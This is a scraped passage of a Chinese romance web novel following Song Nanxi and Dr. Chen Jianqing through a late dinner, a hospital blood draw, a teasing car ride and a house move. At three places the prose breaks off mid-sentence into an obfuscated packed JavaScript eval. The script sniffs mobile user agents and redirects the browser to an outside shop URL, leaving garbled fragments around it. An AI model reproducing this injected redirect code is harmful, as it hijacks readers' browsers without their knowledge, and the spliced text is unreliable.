她不断地警告自己,想要让那颗蠢蠢欲动的心平静下来。 可脑子里却时不时涌上一个念头:万一他对你念念不忘呢? 与此同时,还不断有股力量怂恿着她:宋南汐,去跟他坦白所有的事,他会原谅你的,他看起来对你还有爱。 脑子里像一团乱麻,她被那些乱七八糟的想法搅得心烦意乱。 “吃饭了。” 陈见青已经将饭端上了桌,宋南汐应了声赶忙穿好鞋来到餐桌前。 一碗简单的清汤面,上面还窝了一颗鸡蛋,看起来很有食欲。 宋南汐坐下先喝了一口汤,热热的顺着喉咙一路进到肠胃,整个人都暖暖的。 宋南汐抬眸看了眼对面的陈见青,问了句:“你不吃吗?” 陈见青:“吃过了。” 宋南汐‘哦’了声,低下头慢吞吞吃起了面,脑子里却开始了天人交战: 他就这么看我吃吗? 气氛好沉默啊,他会不会尴尬? 我要不要找点话题跟他聊一下? 可我要跟他聊什么? 感谢一下他今天的雷锋行为? 一碗面已经见了底,宋南汐还没想出个所以然来,她抬起头,猝不及防地与对方的目光撞在了一起。 大脑有一瞬的宕机,她下意识把大脑的想法脱口而出:“谢谢陈医生今天的盛情款待。” 陈见青显然愣了一下,目光投向那碗汤都不剩的面,眉头微挑:“好吃?” 宋南汐点点头,诚恳评价:“很好吃。” 看见陈见青站起身,宋南汐下意识把空碗往自己这边挪了挪,“有洗碗机,你不用刷碗的。” 陈见青:“我是想说,不早了,我就先回去了。” 宋南汐:“……” 我到底在说什么东西啊!怎么还有让客人做饭又刷碗的道理。 宋南汐清了清嗓子,强壮镇定站起身:“确实不早了,那陈医生慢走。” 看见她脸上的羞哧,陈见青唇边漾开一抹浅浅的笑意:“早点休息,明天再去二院做个检查。” 宋南汐点头应好。 宋南汐把他送出门,正要关门的时候,陈见青突然拉住门边。 宋南汐疑惑:“怎么了,陈医生?” 陈见青脸上的表情有些不自然,欲言又止。 宋南汐又问:“是落下东西——” “——对不起。”陈见青突然道。 宋南汐话音顿住,她瞬间意识到陈见青在为那天的事道歉。 陈见青看着她的眼睛,重复道:“那天医院天台上,对不起。” 宋南汐垂下眼睛:“其实,你说的没错,我不是你的谁,我们也没什么关系。” 陈见青抓在门框上的手不禁收紧几分,手背上的青色血管凸起,他张了张嘴,想说些什么,却什么都没能说出来。 两人就这么静默站着,过了几秒,楼道感应灯灭了,宋南汐抬眸,陈见青的身影大半隐在黑暗里,脸上的表情有些复杂,依旧是那副欲言又止的样子。 她扯了扯唇角:“陈医生还有事吗?” 陈见青垂眸看着她,声音有些低:“那天,我只是心情不好,跟你没关系。” 没关系?宋南汐在心底冷笑,确实没关系。 这突如其来的道歉恐怕只是想要彻底跟她撇清关系而已。 陈见青曾卑微向她求和的场面至今还被人当做饭后谈资口口相传,他那么光风霁月又骄傲的一个人恐怕现在已经恨死她了,怎么可能对她还留有念想,更别提爱了。 来警察局接她,主动留下她的联系方式,给她做饭……今晚种种,也只是因为曾岳的缘故。 她毕竟是曾岳的妹妹,现如今跟他们同处一个城市,抬头不见低头见,或许只是为了不让曾岳尴尬,他才极力忍着心底的讨厌来跟她道歉求和破冰。 至于那些让她想歪的草莓糖,宋南汐觉得那也只是变成他的习惯了而已,并不能证明什么。 眼看着宋南汐表情越来越冷,陈见青皱了皱眉,正要说些什么,只见 宋南汐嘴角提了提,摆出一个微笑:“我有自知之明的,我知道我们已经没关系了,不需要您来反复提醒我。” 陈见青觉得宋南汐好像理解错了,“宋南汐,我觉得我还是有必要解释一下——” 宋南汐皮笑肉不笑道:“解释什么呢?不需要解释这么清楚,我已经很明白了。” 解释的更清楚些,是想要把她仅剩的自尊心再蹂躏一遍吗? 说完,她无视陈见青茫然的脸色,八齿微笑道:“陈医生,请您先放手呢,我要关门睡觉了呢。” 陈见青被这久违的阴阳怪气的语气震了一下,愣愣放了手。 下一秒“砰”地一声,门被大力关上,迎面拍来的风把额前的刘海都掀了一下。 陈见青:“……?” 她到底明白什么了? 关上门后,宋南汐狠狠在心底唾弃了自己一番,因为那残留的可笑的幻想,竟然支撑了自己这么多年,还让自己做了这么多莫名其妙的举动。 更可笑的是,她现在脑子里竟然还在想刚刚的话会不会有些过分,刚刚关门的声音会不会太响了,陈见青会不会生气呢? 可转念一想,他们本来就是一刀两断、甚至是老死不相往来的关系,管他生不生气做什么?自己过得舒心不就好了。 虽是这么想,她还是没忍住朝猫眼那看了一眼。 漆黑一片,什么都没有,他应该走了吧? 有的时候那些心口不一的举动是让宋南汐对自己最厌恶的地方,譬如现在,她按压下门把手,打开了门。 感应灯早就灭了,门前早就没了人影。 果然走了。 正要关门的时候,余光瞥见一片高大的黑影,被一旁电梯按键处的灯光微微映照着,倒显得鬼气森森的。 宋南汐偏头看过去,猝不及防与那黑影的主人四目相对。 宋南汐:“……” 恰在此时,电梯“叮咚”一声,打开了门,陈见青没有进去,只是默默看着她,电梯门再次合上。 空气中有短暂的沉默,陈见青率先出声:“有话要说?” 宋南汐:“你怎么还没走?” 陈见青如实道:“在等电梯。” 宋南汐:“刚刚电梯到了,怎么不走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033453|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈见青:“因为你好像有话对我说。” 宋南汐:“……” 说个屁!她又没说错!绝对不能道歉! 宋南汐紧抿着唇,沉默了几秒,深吸了口气,然后抬起一只脚伸到门边跺了两下。 感应灯瞬间应声而亮,陈见青看到昏黄灯光下快速收回的那只脚,往上是宋南汐略显僵硬的微笑:“我、我就是出来开个灯。” 陈见青眉弓微耸:“来开楼道里的感应灯?” 宋南汐抿了抿唇,为这临时的破烂理由尽力找补:“关灯我睡不着。” “楼道里的灯也能碍着你?”陈见青挑了挑眉,下巴微扬:“那你要不要把你邻居的灯也打开?” “……” 宋南汐一时语塞,脸上红一块白一块的,不知是羞的还是气的。 灯光再次灭了,隔着黑暗的楼道,陈见青隐隐感受到对面看过来时炙热的眼神。 下一秒,楼道再次响起两声气急败坏的跺脚声,伴随着某人气急败坏的声音:“开灯怎么了?又没开你家的灯!” 感应灯再次亮起,陈见青只来得及看到一只粉色拖鞋的残影,然后“砰”地一声,门被毫不留情地关上了。 陈见青:“……” 下了楼,回到车里,曾岳正好打来电话。 陈见青接起,耳边传来一阵窸窸窣窣的声音,还有脚步声,似乎对面刚下手术台: “送她去酒店了吗?” 陈见青“嗯”了声。 曾岳问:“南汐现在在你旁边?” 陈见青:“没有,我刚坐上车。” 曾岳有些担心:“她没受伤吧?” 陈见青说:“被犯人抓伤了,破了点皮,明天带她去做个检查。” 听见这话,曾岳一下子就急了:“什么?!被那个毒贩抓破皮了?!那个人有没有其他传染病?” 陈见青说:“我问过警察了,警方那边说对方大概率只是个吸毒犯,至于传染病需要进一步检测一下。” 曾岳一颗心都提起来,焦急道:“那明天早上我去接她过来做检查。” “不用,明天我顺路把她带过去吧。”陈见青道。 曾岳没再推辞,又问了句:“你顺路吗?方不方便?” 陈见青抬眸看了眼楼上那户明亮的灯光,仰靠在椅背上,淡声道:“顺路,方便。” 对面的人有片刻的沉默,陈见青问了句:“还有事?” “你俩今天相处挺好的吧?”曾岳小心翼翼问道。 陈见青认真想了想,随即弯了弯唇,语意不明地哼笑了声:“应该算……挺好吧。” 曾岳又问:“应该是什么意思?” 陈见青说:“我要离开的时候,她看起来有点生气。” 听见这话,曾岳又觉得他俩似乎有点戏,于是又猜测问:“她舍不得你走?” 没等对面回答,他又自顾自猜测了另一种可能:“会不会是她今天受了惊吓,需要人陪伴,又不好意思说出口。” 说完,他又推翻了两种猜测,“不对呀,我妹那么干练从容的一个人,一般也不会把情绪轻易摆在脸上啊,而且她的字典里可没有害怕这两个字,就算是天塌了,她都能给你一个微笑。”曾岳猜测着问出第三种可能:“会不会是你惹到她了?” 陈见青姿态闲懒地靠在椅背上,眉头微微皱起,像是在思考,而后缓缓道:“还是选第一种吧。” 曾岳:“……你在这做选择题呢。你怎么确定我妹舍不得你?” 陈见青:“不太确定,你去问问。” 曾岳:“……” 19. 邀约短信 或许是跟陈见青作对的缘故,宋南汐整个晚上都睡得不太踏实。 整个晚上都在做梦,梦里的具体细节已经记不太清了,她只记得她一直站在楼道像个神经病一样频繁地跺脚开声控灯。 醒来的时候,脚都是隐隐作痛的,早上八点,宋南汐没什么精神地从床上爬了起来。 打开手机的时候,发现有一条未读短信: 陈医生:洗漱好下楼,我正好在你楼下顺路送你去医院。 宋南汐起初看到这条短信的时候差点以为是垃圾广告,现在这个时代大家基本都用微信交流,已经很少会有人发短信了。 宋南汐有种回到了大学时期的既视感,当时微信还不太流行,大家普遍的传递消息的方式就是短信。 她和陈见青也是短信交流,热恋期的约会每次都是以短信方式发送到对方手机上,无论格式还是用语都很用心,像一封正式的邀请函一样。 宋南汐立刻跑到窗边往楼下看去,昨天晚上的那辆黑色奥迪依旧停在原地,连位置都没变,难道他昨晚在楼下守了一夜? 不可能,宋南汐很快否决了这个想法,陈见青应该真的只是顺路送她而已。 不要想太多,切忌自我攻略,容易变小丑。 宋南汐反复在心里默念了几遍,晃了晃不太清醒的脑袋,转身迅速去洗漱。 快速洗漱完,安顿好青青,就快速下了楼。 到楼下的时候,一眼就看到了陈见青,他不知道什么时候站到了车外,半倚靠着车身,身上依旧是昨天那件白色薄衬衫,衬衫边缘掖在黑色西裤里,尽显长身玉立。 走近了看衬衫其实有些皱,他眼睑下方还挂着明显的黑眼圈,看起来没睡好,或许是根本没睡。 宋南汐又难以自已地开始了自我攻略:他不会是因为担心我所以在楼下守了我一夜没合眼吧? 陈见青见她神色疲惫,随口问了句:“没睡好?” 宋南汐打开了副驾驶车门,“嗯”了声,幽怨道:“梦见鬼打墙了。” 上车后,系好安全带,陈见青不知是从哪变出一包小笼包来,递给宋南汐:“顺便买的。” 宋南汐道谢接过。 宋南汐拿出一个小笼包,咬了一口,汁水在舌尖爆开的那一刻,她愣了一下。 内馅是梅菜扣肉的,她最喜欢的味道,过了这么多年,陈见青还记得她的口味吗? 是碰巧吗? 她不敢深想,囫囵塞了两个小笼包,顿时觉得有点噎,陈见青又不知从哪变出一杯粥来,递到了她跟前,还贴心提醒:“小心烫。” 宋南汐接过那杯有些滚烫的粥,再次道了声谢。 粥晾了一小会,她才插上吸管,小心翼翼抿了一口,但还是无可避免地被烫到了,不小心“嘶”了声。 一旁专注开车的陈见青偏头看来一眼,微不可察地皱了下眉,又给她递了一瓶矿泉水,叮嘱道:“喝点水缓解一下,粥等会儿再喝。” 宋南汐“哦”了声,心里却嘀咕起来,所以他没有一开始就把粥给她是怕她会被烫到? 等了好一会儿,粥才慢慢变得温热,宋南汐就着吸管喝了一大口。 刚刚太烫,她都没有尝出味道,现在细细品尝她才发觉就连粥也是她最喜欢喝的牛奶燕麦粥。 宋南汐很难再自以为的将其归咎于巧合,她试探性问了句:“你还记得我喜欢的口味?” 陈见青目不转睛看着前方,像是随口回的:“这是你喜欢的?” 宋南汐观察着陈见青的脸色,一如既往的冷淡,看起来应该不是特意买的,“我还挺喜欢的,可能是碰巧吧。” 宋南汐收回目光不再看他,如果她仔细观察就会发现,在她话音落下的那刻,陈见青紧绷的肩膀微微塌陷下去,像是松了口气。 宋南汐吃完早餐后看了眼时间已经八点半了,不知道有没有耽误陈见青上班,她问了句:“你上班来得及吗?” 陈见青:“来得及。” 得到肯定回答,宋南汐才放下心来,车子一路畅通地行驶到了医院,宋南汐怕再耽误陈见青的时间,于是道:“陈医生,我自己去检查就行了。” 陈见青跟在她身后,“我送你过去吧,正好顺路。” 又是顺路,这么巧吗? 宋南汐不好再拒绝,跟着陈见青一起去了检验科。 检验科抽血的护士看起来年纪比她大一点,在看到她与陈见青结伴而来的时候,含笑的眼睛看向陈见青:“陈医生,带家属来啦?” 宋南汐下意识想替他解释一下,陈见青却率先开口:“麻烦帮她抽个血,做个血液检查。” “好嘞。”那护士笑着应了声。 宋南汐看着那护士拿出的三个粗长的针管,面上淡定,但心里立马打起了退堂鼓。 这针未免也有点太粗了,疼倒是其次,可她晕血该怎么办? 一会儿当场晕倒了会不会太丢人了? 碍于护士温柔鼓励的目光,宋南汐慢吞吞地移到椅子旁,脱下外套,做了好一番心理建设,撸起袖子,把胳膊递了出去。 她紧咬着牙,闭上了眼睛。 护士姐姐看这姑娘视死如归的表情,乐了,一边为她消毒一边安慰道:“妹妹,别紧张,姐姐技术很好的。” “我、我不紧张。” 说着不紧张,但说出的话却磕磕巴巴的。 消完毒,护士将针管推进去,宋南汐只感觉到轻微的刺痛感,心情渐渐放松下来,当感觉到针管抽离的那一刻,她下意识想睁开眼睛,一只手却覆了上来。 温热的,干燥的,有些粗糙。 同时,一道清冽的声音在头顶响起:“别睁眼,还没抽完。” 掌心的睫毛扑闪扑闪,有些痒痒的,勾的陈见青心里也莫名有些痒,他沉声道:“闭眼。” 宋南汐温吞地“哦”了声,乖乖闭上了眼。 护士姐姐一脸姨母笑地看着两个人的互动,万万没想到平时看起来高冷禁欲的陈医生早就名花有主了,私下里还这么宠女朋友,她调侃了句:“陈医生,你对你女朋友真好。” 陈见青只是道:“她晕血。” 护士姐姐笑着说:“理解理解。” 这个护士显然误会了她和陈见青的关系,宋南汐出于好心本想出声解释一下,另一个针管适时被推进来,她的注意力瞬时被分走,一时之间把要说的话抛在了脑后。 抽完血,护士姐姐把棉签压在出血口,对着陈见青道:“陈医生,你来帮忙按一下。” “我自己来吧。”宋南汐说着就摸索着去摁棉签。 一只温热的指腹率先摁在了上面,宋南汐感受到陈见青站在她身后,此刻应该是微微俯下身,衣料擦过她的脸颊,浅淡的冷杉木的味道萦绕在鼻尖。 陈见青沉沉的嗓音响在耳侧:“坐好,别动。” 护士姐姐道:“让陈医生帮你按一会吧,出了点血,你可能看不了。” 宋南汐觉得自己的心跳有点快,耳朵也有点烫。 时间好像被无限拉长,她不知道过了多久,再睁开眼的时候,手臂上只有个小针眼,已经不流血了,胳膊上也没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宋南汐一开始还解释了两句,到后面直接麻木微笑。默不作声。 等进了电梯,终于只剩他们两个人,宋南汐没忍住问道:“陈见青,你刚怎么不解释?” 陈见青偏头看了她一眼:“这时候怎么不叫陈医生了?” 宋南汐哽了一瞬,“陈、陈医生。” 陈见青:“我说过,我不喜欢这个称呼。” 宋南汐无奈道:“陈见青,你明明可以解释,为什么不解释?” “你不是都解释了吗?有用吗?”陈见青问。 宋南汐急道:“这根本不是一回事,你明明知道我之前那些都是因为幻觉,如果你出面解释,大家肯定会相信的。” “幻觉?那么多医生护士,可你偏偏选中我。”陈见青道:“这是事实,不是吗?” 宋南汐一下就没了底气:“虽然……但是我真不是故意的。” 陈见青不急不缓道:“一般人们更倾向于相信事实,相信他们更愿意相信的,这个时候解释只是徒费口水而已。就像虽然我跟你说过我不喜欢陈医生或陈教授这个称呼,但你依旧叫我陈医生一样。” 宋南汐:“……” 这人怎么还当面蛐蛐人。 况且,“这怎么能是一回事呢。” 宋南汐小声嘟囔了句,还是被陈见青一字不落听了进去,他淡声补充道:“就像现在,即使你已经认识到了错误,但依旧自我感觉良好。” 宋南汐:“……” 20. 霸王硬上弓(一更) “叮”地一声,电梯到了一楼。 出电梯的时候,正好迎面碰上朝这边走来的曾岳。 “南汐,检查了吗?怎么样?” “检查好了,结果要下午才能出来。”看曾岳没穿工作服,宋南汐问:“哥,你刚来上班?” 曾岳:“上什么班,我来找你的。” 宋南汐疑惑问:“你怎么知道我在这?” 她今天来的匆忙,根本没来得及告诉曾岳她来检查的事情,难道是陈见青告诉他的? 曾岳看了看陈见青那张木头脸,内心暗讽了句闷骚老狐狸,复又将目光投向宋南汐,意味深长道:“当然是从情报站知道的。” 宋南汐没听懂:“这是什么哑迷?” 曾岳笑眯眯的,一脸看好戏的表情:“今天早上大家都在传,那个抱着陈医生又亲又啃的女患者又来了。” 宋南汐无语道:“曾岳,你真的很闲。” 曾岳无辜摊手:“这可不是我说的,大家都这么说。” 宋南汐:“……你有事没?没事我走了。” “哎哎哎,”曾岳叫住要走的宋南汐,“一起一起。” 宋南汐面无表情道:“干嘛?” 曾岳:“不是帮你搬家?忘了?” 宋南汐:“哦。” 差点忘了这茬了,怪不得他今天没穿工作服。 曾岳说:“正好结果还没出来,先去帮你搬家,下午我帮你拿结果。” 宋南汐点点头,又注意到一旁的陈见青还站在这,“陈医……见青,你先去忙吧,抱歉耽误你这么久。” 差点又说成了“陈医生”,幸好及时刹住了闸,她抬眸觑了眼陈见青的脸色,看起来并无不悦。 “不耽误。”陈见青低声道。 宋南汐微笑跟他道别:“那你先忙,我们就先走了。” 正要走的时候,陈见青却突然跟了上来:“一起吧。” 宋南汐:“一起什么?” 陈见青说:“正好有空,帮你搬家。” 宋南汐:“你不是来上班的吗?” 陈见青道:“哦。我今天正好轮休。” 曾岳挑了挑眉:“这么正好?” 陈见青没什么表情地“嗯”了声。 曾岳内心冷哼,放狗屁!明明昨晚偷偷跟人家李主任换了值班时间。 宋南汐问:“那你今天早上说顺路来上班——” “——奥,刚想起来今天轮休。”陈见青不咸不淡补充道。 宋南汐已经无语凝噎了,她觉得今天有点邪门,不宜出门。 脑子里正想着如何不失礼貌地拒绝的时候,陈见青又开口道:“曾岳,你那房子的钥匙不是还在我这吗?” 经他这一提醒,曾岳想起来了,他确实曾经把碧沁园房子的钥匙交给陈见青了。理由之一就是他这人房子太多,健忘,容易混淆,所以交给他保管。 曾岳几乎一眼看出他的想法,但还是顺从道:“啊!突然想起来了,钥匙确实在你那,那你正好跟我们走一趟吧。” 宋南汐眼皮一跳,大声道:“不行!” 路过的行人朝她这边看来,陈见青的目光也落了过来。 宋南汐斟酌着措辞:“陈医生……啊不,陈见青,要不你把钥匙交给我就行了,省的麻烦你跟我们跑来跑去的。” “是挺麻烦的,不过,钥匙不在我身上,在我家里。”陈见青幽幽道:“你要我把我家钥匙给你?” 宋南汐:“……” 这话要她怎么接?她从小接受的教养可不允许她这么做。 气氛有片刻的僵持。 彼时,有个年轻医生经过,探究的目光在她身上停顿片刻,随即跟曾岳和陈见青分别颔首打了招呼:“老大,陈教授。” 曾岳朝那个学生点了点头,然后越过她,直接揽住陈见青的肩膀,一边往外走,一边道:“麻烦什么麻烦,不麻烦,是好兄弟就要一起同甘共苦。” 宋南汐认命地叹了口气,无奈跟了上去。 就在他们离开后没几分钟,医院传开一则爆炸性消息:陈医生与女朋友爆发争吵,原因疑似陈医生不行?! —— 幸好曾岳也开了车,宋南汐立马紧跟着上了曾岳的车,速度之快,就像身后有什么索命冤魂一样。 丝毫不给陈见青插话的机会。 系好安全带,宋南汐整装待发,主驾驶座上的曾岳鼓捣了半天,等陈见青的车都出发了,曾岳连车都还没启动。 宋南汐有种不好的预感,果然,下一秒,曾岳缓缓扭头对上她的眼睛,心虚道:“车没油了。” 宋南汐差点一口气没喘上来,“你开玩笑的吧?你不是说要帮我搬家吗?况且车没油你今天怎么来的?” 曾岳举手解释:“祖宗,我是真冤枉!昨晚我有手术,下班太晚了就在医院睡的,今早一听说你来医院,我立马就找你来了。” 宋南汐几乎生无可恋地看了眼已经开没影的黑色奥迪,“现在呢?打车?” 曾岳解开安全带,拿起手机一顿操作,“问题不大,我给见青发了消息。他很快就过来。” 宋南汐一点也不想说话。 几分钟后,宋南汐和曾岳站在路边,看着那辆黑色奥迪重新出现在视野,停在他们面前。 然后车窗降下,露出那张清冷俊秀的侧脸,他的目光饶有趣味地看着宋南汐,“你不是不想坐我的车?” 虽然事实如此,但这么说出来是想尴尬谁呢?! 偏偏曾岳还没眼力见地问了句:“你不想坐他的车?那你刚刚不早说,要不打个车?” 宋南汐:“……” 打车?!那你刚刚不早放屁! 孩子死了你来奶了,大鼻涕到嘴里你知道甩了,现在人都来了你又提议要打车了?!这合适吗?!她真的很想拆开曾岳脑子看看里面是不是面糊! 宋南汐暗暗深吸口气,微笑道:“我很愿意的。” 陈见青眉弓微扬:“不用勉强的。” 宋南汐继续微笑道:“一点都不勉强的。” 话落,就听到车锁打开的声音。 宋南汐呼出口气,然后去拉副驾驶的车门,刚拉开坐上去,忽然想起陈见青昨天说后车门都坏了,于是她又想先下去,让曾岳先上来,还不等她有所动作,曾岳已经拉开后车门坐了上来。 宋南汐嘴角抽了抽,难言地看向驾驶位上云淡风轻的陈见青:“你不是说后车门坏了?” 曾岳闻言插话道:“欸?后车门坏了?什么时候坏的?我怎么不知道?昨天早上不是还好好的吗?” 陈见青一边启动车。一边面不改色道:“奥,昨天晚上修好了。” 宋南汐持半信半疑的态度。 一方面,陈见青根本不是会说谎的人。 另一方面,陈见青根本没有骗她的目的,除非他对她有意思,但她又打心底里觉得不太可能。 路上,车厢内一时有些安静,宋南汐感觉身心都累,脑袋倚在车窗上,看起来活人微死。 后排的曾岳是个耐不住寂寞的,车厢内才安静了没五分钟,曾岳的声音就响起来:“妹,你想不想知道陈见青最近在医院的传闻?” 宋南汐面无表情道:“不想。” 陈见青倒像是很有兴趣:“什么传闻?我怎么不知道?” 一说这个,曾岳就来了兴趣,直接趴在前排座椅上,仿佛在她耳朵边说话一样,“你当然不知道,哪有当面说人坏话的。” 宋南汐对这句话深表赞同,她偏头附和道:“就是!哪有当面说人不好的!” 陈见青的唇角微不可察的弯了下,很快又恢复那副淡然的表情。 或许是曾岳的话让她有了志同道合的感觉。吃了陈见青那么多次瘪,宋南汐秉着看好戏顺带着看看能不能落井下石一番的态度,道: “什么传闻。说来听听。” 曾岳往前倾了倾,说:“医院这些年一直都有个流言,说那个外科主任陈医生条件这么顶,身边竟然连个雌性的影子都没有,要么就是gay,要么……就是金屋藏娇。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080943|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋南汐幸灾乐祸评价道:“说不准真是前者呢。” 看着陈见青紧绷的脸色。她莫名觉得心情舒畅。 哼!当面蛐蛐人,谁不会似的! 不过很快,宋南汐就笑不出来了。 因为曾岳接着说:“这两天又兴起一个传闻,说那个因为菌子中毒进了医院三次的患者疑似陈医生金屋里藏的那个娇。” 宋南汐几乎破口而出:“放他奶奶的屁!” 与此同时,车厢里响起一声闷笑。 宋南汐看着陈见青难以抑制的唇角,不可置信问出声:“他们这么诋毁你,你还能笑的出来?” 陈见青表现的无所谓,甚至说话时声音里还染着笑意:“谣言而已,真真假假的,你不是知道吗?” 曾岳也说,“对啊,当事人都不在意,你那么在意干什么?” 宋南汐觉得此刻真是应了那句话,皇帝不急太监急。 “废话!我也是当事人啊!” “哦对!你也是当事人哦!”曾岳慢半拍地反应了过来,又劝道: “妹啊,你也别在意,大家这么猜测实在是因为你那天抱着陈见青又亲又啃的,而我们一向以铁树著称的陈医生竟然很大度地没有追究你的责任,所以才有了这后来的猜测。 而且,你俩今天又一起去的医院,举止又亲密,所以大家都以为你是那个‘娇’。” 宋南汐偏头去看另一个当事人,淡定地出乎意料。 宋南汐纳闷,他不应该是羞愤难当吗?现在最应该出现在他脸上的表情应该是愤怒吧? 这一脸事不关己高高挂起的态度是怎么回事? “陈见青,你不发表一下意见吗?”她没忍住问道。 陈见青:“没有意见。” 几年不见,他已经人淡如水了吗? 她没忍住追问:“你之前不是很讨厌造谣这种事吗?” 她到现在都还记得大学时跟陈见青官宣后,有个女生造谣她跟陈见青上过床,当天陈见青就找到谣言源头,用一张气势迫人的冷脸把那女孩当场吓哭了,后来那女孩还在学校论坛上做了澄清说明。 大学时的他明明对谣言零容忍,现在又是怎么回事?大度的有点过了头吧? 陈见青看起来并不在意,似乎对这种谣传隐隐间还透露着满意:“还好,至少目前的谣言很符合我的性取向。” 宋南汐:“……” 她不合时宜地想到个词,乐天派。 陈见青什么时候成了乐天派的? “妹,你也理解理解,医护工作繁重,大家只能从日常生活中找点乐子,对于陈见青这种传闻中难得的铁树开花类型,大家都会对这朵花感到好奇。”曾岳开导着又想起来什么,道:“今早还有好多医护去看你来着,大家对你评价都很高。” 此话一出,今天早上的诡异感顿时明了了。 怪不得今早上碰见那么多医生护士,原来都是来参观她这个乐子的。 宋南汐提了提僵硬的唇角,摆出一个比哭还难看的笑:“说个我能接受的评价。” 曾岳笑得不怀好意,宋南汐顿时觉得自己好像掉入了圈套,想阻止已经来不及。 曾岳语速很快,吐字却清晰:“大家夸你漂亮,攻气十足,像是霸王硬上弓的类型。” 宋南汐:“……” 真是见鬼的霸王硬上弓。 宋南汐的嘴角彻底耷拉下来。 陈见青却没忍住哼笑出声。 而曾岳还在语不惊人死不休地学着八卦的语气,夹着一点声音补充道:“大家还说,那姑娘看起来攻气也太足了,我们陈医生像被榨干了一样。” 话音刚落,宋南汐没忍住抬眼去看陈见青:看起来没刚刚开心了,嘴角平直,脸色有些苍白,眼下的黑眼圈也很明显,看起来确实一脸被吸干了阳气的样。 宋南汐看着看着不小心笑出了声。 当事人陈医生的脸色更臭了。 宋南汐紧抿住唇,憋的脸色通红。 几秒后,车厢内发出一声爆笑。 21. 可爱(二更) 车一路行驶到小区楼下,透过车窗宋南汐忽然在楼下看到一抹熟悉的身影。 刚解开安全带,手机上就跳出一个电话,是助理胡若瑶打来的。 宋南汐直接开门下车,目光朝着不远处正打电话的背影,对着听筒道:“若瑶?” 听到她的声音,不远处的人转过身,笑了下,然后挂断电话朝她走了过来。 胡若瑶:“老大,我来帮你一起搬家。” “连轴转了那么多天,好不容易就放今天这一天假,还不好好休息。”宋南汐嗔怪道,“早知道,今天早上就不跟你说我要搬家的事了。” 昨天公司才通知了放假一天,今天早上胡若瑶说她做了汇雪咖啡的调查报告,给她发消息说想进行一下汇报。 当时宋南汐正在去医院的路上,所以就跟她说了今天要搬家的事,可能暂时没时间,晚上可以汇报。 她没想到胡若瑶会来帮她搬家,好不容易休息一天,还来帮她做苦力。 胡若瑶笑笑:“我怕你一个人忙不过来,正好我也没事,闲着也是闲着。” “也不是一个人,这不还有两个。”宋南汐朝刚下车的另外两人抬了抬下巴,介绍道:“这是陈见青,另外一位我表哥曾岳……你应该认识吧。” 胡若瑶下意识多看几眼车身旁的男人,气质偏冷,长得却很正点。 心里嘀咕道,原来他就是陈见青。 怪不得…… 陈见青微微颔首算是打过招呼。 曾岳站在车旁目光戏谑,却笑的温和:“这位姑娘,怎么称呼?” 胡若瑶抬了抬眼:“你不是都知道?” 曾岳“哦”了声,幽幽道:“咱俩相亲那天,你可没说你叫胡若瑶。是吧?大芬?” 宋南汐不明所以地问了句:“若瑶,你俩说什么呢?什么大芬?” 胡若瑶的表情顿时僵住,她没想到曾岳会在大庭广众之下说出这个名字。 这是她当时为了搞砸相亲特意花了一百块钱找人家取了一个不太好听的名字,就是为了从根源上劝退对方,给对方一个不好的印象。 胡若瑶面无表情道:“胡若瑶,谢谢。” 曾岳收起玩笑的表情,朝她礼貌伸出手,“正式介绍一下,我也不叫强子,我叫曾岳。” 宋南汐大概听懂了,原来是两个人之前相亲的时候都没看上对方,所以用尽一切手段想让对方厌烦自己,包括但不限于取个土到劝退对方的名字——胡大芬和曾强子。 胡若瑶站在原地,没有要回应的意思。 宋南汐看着气氛不太对劲,立马上前玩笑地拍回了曾岳的手,“男女授受不亲,口头上打个招呼得了。” 说完,她挽起胡若瑶的胳膊,“走啦走啦,先帮我搬家。” 曾岳和陈见青跟在她俩身后,曾岳轻轻撞了下陈见青的肩,轻声道:“哎,那姑娘是不是生气了?” 陈见青客观道:“只要眼睛不瞎,我觉得还是挺明显的。” 曾岳“啧”了声:“这姑娘不禁逗啊。” 陈见青难得良心在线:“或许,你该从自己身上找找问题。” 哪有见面就叫人姑娘大芬的?任谁都不会想要给你好脸色。 宋南汐目前的家看起来很空旷,或许是刚搬来没多久的原因,很多东西都还没来得及添置。 她的东西看起来并不多,满打满算却装了六个行李箱,还有两个背包,都是宋南汐昨晚打包好的。 厚重的行李箱都是由陈见青和曾岳来运,她抱着青青,提了一个背包,胡若瑶也帮着提了一个。 行李虽不算多,但却不是一辆奥迪就能解决的。 还剩三个行李箱已经装不下了,宋南汐得去把她的车开过来。 宋南汐的车停在地下车库里,她本想把青青交给胡若瑶暂时看管一下,奈何青青对不熟悉的人非常排斥,使劲往她怀里钻,所以只能作罢。 曾岳毛遂自荐:“我来试试,之前我还抱过它。” 宋南汐哄着青青,一边安抚道:“让叔叔抱一抱你,好不好?姐姐一会就回来。” 但青青不买账,依旧沉默着紧紧抓着宋南汐的衣襟不肯撒手,不知道究竟是社恐还是害怕。 曾岳提议:“要不,让陈见青试试?之前在医院他还喂过青青呢。” 宋南汐抬眸询问对方的意见,陈见青放下手中行李,“我来试试吧。” 